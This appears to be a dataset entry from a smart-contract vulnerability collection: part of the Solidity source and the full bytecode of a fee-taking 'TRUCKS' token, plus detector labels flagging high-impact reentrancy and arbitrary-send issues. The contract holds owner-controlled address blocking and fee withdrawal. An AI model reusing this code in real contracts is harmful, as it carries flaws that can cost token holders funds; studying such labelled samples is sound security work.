returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601981526020017f545255434b53207c20742e6d652f547275636b73546f6b656e00000000000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f545255434b530000000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f00565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613000565b60405180910390fd5b61159f610fd3565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610fd3565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613060565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b601e42611a7291906131b6565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610e2f565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e00565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121bf565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612ede565b60405180910390fd5b5060008385611c8a9190613297565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce760028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d12573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6360028461217590919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612f40565b60405180910390fd5b6000611de36121ec565b9050611df8818461217590919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8c5781602001602082028036833780820191505090505b5090503081600081518110611eca577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6c57600080fd5b505afa158015611f80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa4919061294d565b81600181518110611fde577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a995949392919061309b565b600060405180830381600087803b1580156120c357600080fd5b505af11580156120d7573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210d576000905061216f565b6000828461211b919061323d565b905082848261212a919061320c565b1461216a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216190612fc0565b60405180910390fd5b809150505b92915050565b60006121b783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612217565b905092915050565b806121cd576121cc61227a565b5b6121d88484846122ab565b806121e6576121e5612476565b5b50505050565b60008060006121f9612488565b91509150612210818361217590919063ffffffff16565b9250505090565b6000808311829061225e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122559190612ede565b60405180910390fd5b506000838561226d919061320c565b9050809150509392505050565b600060085414801561228e57506000600954145b15612298576122a9565b600060088190555060006009819055505b565b6000806000806000806122bd876124ea565b95509550955095509550955061231b86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123b085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fc816125fa565b61240684836126b7565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124639190613080565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124be683635c9adc5dea0000060065461217590919063ffffffff16565b8210156124dd57600654683635c9adc5dea000009350935050506124e6565b81819350935050505b9091565b60008060008060008060008060006125078a6008546009546126f1565b92509250925060006125176121ec565b9050600080600061252a8e878787612787565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125ab91906131b6565b9050838110156125f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e790612f80565b60405180910390fd5b8091505092915050565b60006126046121ec565b9050600061261b82846120fa90919063ffffffff16565b905061266f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cc8260065461255290919063ffffffff16565b6006819055506126e78160075461259c90919063ffffffff16565b6007819055505050565b60008060008061271d606461270f888a6120fa90919063ffffffff16565b61217590919063ffffffff16565b905060006127476064612739888b6120fa90919063ffffffff16565b61217590919063ffffffff16565b9050600061277082612762858c61255290919063ffffffff16565b61255290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127a085896120fa90919063ffffffff16565b905060006127b786896120fa90919063ffffffff16565b905060006127ce87896120fa90919063ffffffff16565b905060006127f7826127e9858761255290919063ffffffff16565b61255290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63601a836131a5565b9150612c6e826134cc565b602082019050919050565b6000612c86602a836131a5565b9150612c91826134f5565b604082019050919050565b6000612ca96022836131a5565b9150612cb482613544565b604082019050919050565b6000612ccc601b836131a5565b9150612cd782613593565b602082019050919050565b6000612cef601d836131a5565b9150612cfa826135bc565b602082019050919050565b6000612d126021836131a5565b9150612d1d826135e5565b604082019050919050565b6000612d356020836131a5565b9150612d4082613634565b602082019050919050565b6000612d586029836131a5565b9150612d638261365d565b604082019050919050565b6000612d7b6025836131a5565b9150612d86826136ac565b604082019050919050565b6000612d9e6024836131a5565b9150612da9826136fb565b604082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122022f55ca3c6bd6c2c22c2a58cfd421d804000d533eb091305e5a91e41a317d60b64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,999 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.